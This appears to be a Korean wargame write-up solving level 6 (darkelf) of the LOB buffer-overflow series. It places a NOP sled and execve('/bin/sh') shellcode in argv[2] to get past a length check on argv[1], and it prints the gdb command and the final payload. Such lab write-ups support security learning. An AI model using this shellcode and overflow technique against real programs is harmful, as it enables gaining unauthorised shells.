HACKING/[SYSTEM HACKING] LOB

006. lob 6번 | anxi0

ANX1Z3R0 2020. 7. 30. 22:08

argv[1]의 크기를 제한한다.

그럼 2에 넣으면 되지

스페이스바를 하나 쓱 밀어서 argv[2]에  nop sled와 공격코드를 넣자.

애초에 argv[]라는 게 배열이라서 스페이스 바 단위로 배열에 저장한다.

일단 넣고 보자.

(gdb) b *main+242
(gdb) r `python -c 'print "\x90"*44+ "\xbf"*4 + " "+"\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

ret과 nop sled 사이에 공백하나 넣은 거 보이는가, 이게 argv[2]로 넘어가게 만드는 키다.

뭔 말인지 잘 모르겠다면, c언어 cli 프로그래밍을 해 보아라, 하나만 짜봐도 알 것이다.

또는 내 블로그에 

https://anxi0.tistory.com/51     (python)

 

003. 생산성을 끔찍이 생각하는 나 | anxi0

나는 생산성에 집착하는 사람이므로, 아이디어가 떠올랐을 때 그것이 금방 기억에서 사라지는것을 경계한다. 그래서 만든 프로그램 ideaTank! 1. idea를 간단히 저장하는 프로그램 제작 2. 환경변수�

anxi0.tistory.com

이 글을 참고 해도 좋다. 

아... 아닌가 싶었지만 혹시나 해서 enter를 한 번 쳤는데(스택 계속보기)

옳거니!

운이 진짜 좋았다.

 

역시나 어느정도 센스가 필요한 분야다.

이제 저 쉘코드 전 \x90중 아무데나 ret 해주자.

 

payload

./darkelf `python -c 'print "\x90"*44+ "\xbf"*4 + " "+"\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

이런 뿌듯함이 없다.